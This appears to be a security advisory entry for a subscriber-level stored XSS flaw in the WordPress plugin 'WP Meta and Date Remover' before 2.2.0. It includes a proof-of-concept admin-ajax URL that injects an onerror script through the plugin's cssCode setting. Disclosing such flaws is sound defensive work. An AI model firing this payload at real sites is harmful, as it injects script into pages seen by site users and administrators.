WP Meta and Date Remover < 2.2.0 - Subscriber+ Stored XSS

2023-10-0900:00:00

dc11

stored xss

subscriber

url

ajax

frontend

backend

exploit

0.0004 Low

EPSS

Percentile

14.2%

JSON

Description The plugin provides an AJAX endpoint for configuring the plugin settings. This endpoint has no capability checks and does not sanitize the user input, which is then later output unescaped. Allowing any authenticated users, such as subscriber change them and perform Stored Cross-Site Scripting. Note: A partial fix was released in v2.1.0, but stored XSS was still possible for users with Admin+ privileges

Open the following URL when logged in as a subscriber:

`https://example.com/wp-admin/admin-ajax.php?action=update_settings&settings[removeByCSS]=true&settings[removeFromHome]=true&settings[cssCode]=</style><img src%3D1 onerror%3Dalert(document.domain)>`

The XSS will be triggered in any pages (both frontend and backend)

0.0004 Low

EPSS

Percentile

14.2%

JSON

Related for WPEX-ID:84F53E27-D8D2-4FA3-91F9-447037508D30